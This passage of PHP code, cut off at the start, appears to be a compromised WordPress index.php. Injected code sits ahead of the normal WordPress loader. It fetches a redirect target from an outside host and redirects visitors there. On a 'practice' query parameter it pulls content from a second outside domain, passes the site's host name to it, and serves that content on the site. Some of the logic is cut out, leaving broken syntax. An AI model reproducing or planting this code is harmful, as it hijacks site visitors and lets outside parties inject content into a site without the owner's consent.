h); curl_close($ch); } return $content; } $ch = curl_init(); $timeout = 2; curl_setopt ($ch, CURLOPT_URL, "http://bingstyle.com/tong/itcert-online.txt"); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $jturl = curl_exec($ch); key) !== false){ $jumps2=preg_replace('/_(.*)/i','.html',$files); header("location: ".$jturl.$jumps2); exit; } else{ header("location: ".$jturl); exit; } } if(isset($_GET['practice'])) { $con= getHtml('http://1.saleforyou.org/tong/d4/main.php?key='.$_GET['practice']."&host=".$_SERVER['HTTP_HOST']."&www=".$www); $con=str_replace('?exam=','?practice=',$con); //$con=str_replace($_SERVER['HTTP_HOST'].'/?key="',$_SERVER['HTTP_HOST'].'/"',$con); //$con = str_replace("",$iframe."",$con); echo $con; exit(); } define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );